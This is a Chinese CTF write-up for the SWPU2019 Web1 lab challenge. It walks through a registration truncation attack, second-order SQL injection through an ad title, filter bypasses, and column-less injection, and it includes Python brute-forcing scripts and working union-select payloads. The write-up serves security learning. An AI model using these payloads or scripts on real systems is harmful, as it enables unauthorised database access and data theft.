[SWPU2019]Web1
有登录和注册功能,想到约束攻击。
在注册用户时,因为 insert 插入数据受到数据库定义的长度限制,会自动将超出长度的数据截断,因此 如果 uname 的长度限制为 char(7),那么注册账号'admin a'时,由于长度超出,则后面的 a 会被截断,此时,数据库存储数据会把末尾空格删除,在数据库内就变成admin
此时登录时使用 admin 和自己注册的密码登录,数据库返回注册时的账号信息,但是如果业务侧仅根据返回的用户名信息判断权限,则会导致水平越权的漏洞。
尝试一下真的登录成功了。(尝试一下正常注册登录发现结果也一样哈哈哈)
可以看到有个广告申请功能。 申请后会显示在广告列表,点击查看详情发现访问了/detail.php?id=2。尝试sql注入:
id | 回显 | 推断 |
---|---|---|
4' | 正常 | 没引号包裹 |
4a | 正常 | |
4 order by {n} | 正常 | 没办法判断字段数 |
怀疑这里不存在注入漏洞。
看了答案,注入点在申请广告页面。为什么能想到呢?
首先能发现的就是申请广告的时候会判断广告名是否已存在,也就是说会从数据库中根据广告名查询记录。但是并不能利用。
创建一个广告名为1'后再查询广告详情发现:
说明这边广告详情是利用广告名进行查询的。能够二次注入。并且有报错信息,试试看报错注入
1'union/**/select/**/updatexml(1,concat(0x7e,database()),1)#(空格会被替换为空)
回显 标题含有敏感词,看一下过滤的关键字 ,想用bp的但是不行,因为申请广告条数有上限,需要写脚本:
import requestsurl1 = 'http://35d3dd65-4548-4570-96d4-993634cfdecf.node5.buuoj.cn:81/addads.php'
url2 = 'http://35d3dd65-4548-4570-96d4-993634cfdecf.node5.buuoj.cn:81/empty.php'with open('sql字符过滤字典.txt', "r") as file:count = 0headers = {"Cookie": "PHPSESSID=2b01b6e2b0f4fa962870236462b84443"}r = requests.get(url2, headers=headers)for line in file:data = {"title": f"{line}","content": 'a',"ac": 'add',}r = requests.post(url1, data=data, headers=headers)# print(r.text)if "标题含有敏感词汇" in r.text:print(f"{line}\n")count = count + 1if count > 8:r = requests.get(url2, headers=headers)count = 0
比较关键的两个点就是,因为最多十条广告所以需要在达到数量前访问empty.php清理,另外就是访问的时候要带上Cookie身份标志。
用我的字典爆破出来的过滤关键字有:
#
--
--+
and
or
xor
order
information
handler
updatexml
extractvalue
regexp
floor
join
union是没有被过滤的,可以考虑联合注入。比较重要的几个过滤关键字是注释符和information。所以只能考虑闭合引号。
1'union select 1,2,3,4,5,'6
发现将空格给去掉了,可以用/**/来代替。
1'union/**/select/**/1,2,3,4,5,7,8,'9试了很多一直没找到,也利用脚本吧,快一点。
import requestsurl1 = 'http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/addads.php'
url2 = 'http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/empty.php'
url3 = 'http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/detail.php'session = requests.Session()
session.headers.update({"Cookie": "PHPSESSID=d9938f1c33af4c7176876bfd026cfd6b"
})title = "1'union/**/select/**/'1"
id = 279 # 现在的id
session.get(url2) # 先清除一次
count = 0
for i in range(2, 100):data = {"title": f"{title}","content": 'a',"ac": 'add',}# print(title)r = session.post(url1, data=data) # 申请广告# print(r.text)session.get("http://b6ea1e6d-9dfe-4e69-a5a9-eef389dde88e.node5.buuoj.cn:81/index.php")id = id + 1# print(url)r = session.get(url3, params={"id": id})# print(r.text)if "未查找到相关广告信息" not in r.text:print(title)exit(0)title = title + f"','{i}"count = count + 1if count > 8:r = session.get(url2) # 清除广告count = 0
emm调试这个脚本花了两个小时,果然“快”多了......
有几个踩过的坑:
1、id是自增变量,,每申请一条广告就要加一,访问detail.php时需要用id
2、访问addads.php申请广告后去访问detail.php查看详情,一直显示的是找不到相关广告并且没有报错,说明广告没有申请成功,因为如果成功的话查看详情那里就会出现sql语法报错。通过不断排查问题发现:
申请广告,对addads.php请求
跳出弹窗,此时网页仍一直在加载状态,这个时候通过访问detail.php查看刚刚申请的广告详情就会出现这个坑:
点击弹窗确定后,网页跳转到了index.php
并且自动发起了两个请求,/favicon.ico和/login.php。
在网页开发中,
favicon.ico
是一个特殊的图标文件,主要作用是作为网站的标志性图标,用于在浏览器中标识网站,提升用户体验和品牌辨识度。具体表现为:
浏览器标签页显示:当用户打开网页时,
favicon.ico
会显示在浏览器的标签页左侧,帮助用户在多个标签页中快速识别和切换到你的网站。书签 / 收藏夹标识:当用户将网站添加到书签或收藏夹时,
favicon.ico
会作为该条目的图标,使收藏内容更易区分。历史记录和地址栏显示:部分浏览器会在地址栏左侧或历史记录列表中显示该图标,增强网站的视觉识别性。
移动设备识别:在移动设备上,当用户将网站添加到主屏幕时,
favicon.ico
可能会被用作应用图标(部分场景下需要特定尺寸的图标配合)。通常将
favicon.ico
文件放在网站的根目录下,浏览器会自动请求该文件。
login.php是身份验证文件。当跳转到index.php之后查看广告详情才正常,说明此时数据库中才有这条广告记录。
为什么只有在确定弹窗后广告才申请成功呢?弹窗的作用就是跳转到index.php页面,于是在脚本中每次申请一次广告就访问一下Index.php,果然这样就解决了问题。但是具体什么原理呢?不清楚。
脚本跑出来1'union/**/select/**/'1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
说明有22个字段。申请后查看一下详情可以看到:
说明显示的是第2,3字段。
1'union/**/select/**/'1',database(),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
得到数据库名web1。
但是information被禁用了怎么得到表名和列明呢?
mysql.innodb_table_stats
MySQL 数据库系统中内置的
mysql
系统数据库下的一张表,主要用于存储 InnoDB 存储引擎表的统计信息,其中有table_name字段。存放的并非是仅当前数据库中的表信息。
1'union/**/select/**/'1',(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
需要注意这里因为最后要闭合引号,所以from/**/mysql.innodb_table_stats不能放到最后,只能利用嵌套查询。
可以得到表名:FLAG_TABLE,news,users,gtid_slave_pos,ads,users
接下来如何获得列名呢?
无列名注入:对于某个表不知道列名,可以用select 1,2,3... union select * from table来获得表的字段数。接着利用:
解析过程:
内层子查询
(select 1,2,3 union select 4,5,6)a
执行后会生成一个包含 2 行、3 列的临时表(别名a
),数据如下:
1
2
3
1
2
3
4
5
6
这里的列名默认会以第一行的数值作为临时列名(不同数据库可能略有差异,部分数据库会自动命名为
col1
、col2
等,但逻辑一致)。外层查询的
group_concat(`2`
)
反引号
`2`
表示引用列名为2
的列(即子查询中的第二列,因为第一行的第二列值为2
,成为了该列的临时名称)。
group_concat()
函数会将这一列的所有值(2
和5
)合并为一个字符串,用逗号分隔。因此,最终结果为字符串
2,5
。
因此首先
1'union/**/select/**/'1',(select/**/1/**/union/**/select*from/**/FLAG_TABLE),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
说明该表不在当前数据库内,没有办法切换数据库,所以flag不会在里面。
1'union/**/select/**/'1',(select/**/1/**/union/**/select*from/**/users),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
回显The used SELECT statements have a different number of columns,说明可行
1'union/**/select/**/'1',(select/**/1,2,3/**/union/**/select*from/**/users),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
回显Operand should contain 1 column(s),说明是三个字段,这里的错误在于嵌套查询的结果包括多个字段,不用管。
接下来就是获得字段值,猜测大概率在第三个字段,因为前两个肯定是username和passwoed。
1'union/**/select/**/'1',(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)a),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22
拿到flag啦!!
总结一下:这道题重点挺多的,第一是漏洞类型判断,题目并没有提示是sql漏洞,所以很可能会跑偏。但是存在漏洞嫌疑的地方都得尝试。 第二是注入点的发掘,这道题是需要利用二次注入,首先创建一个广告,然后查询广告详情的时候会查数据库,因此下次碰到需要查数据库的地方都得怀疑是不是有sql漏洞。第三是这道题将information禁用了,所以需要用到无列明注入技巧。最后就是脚本编写能力,虽然这道题不是一定要利用脚本,但是通过练习也稍稍提升了一点熟练度。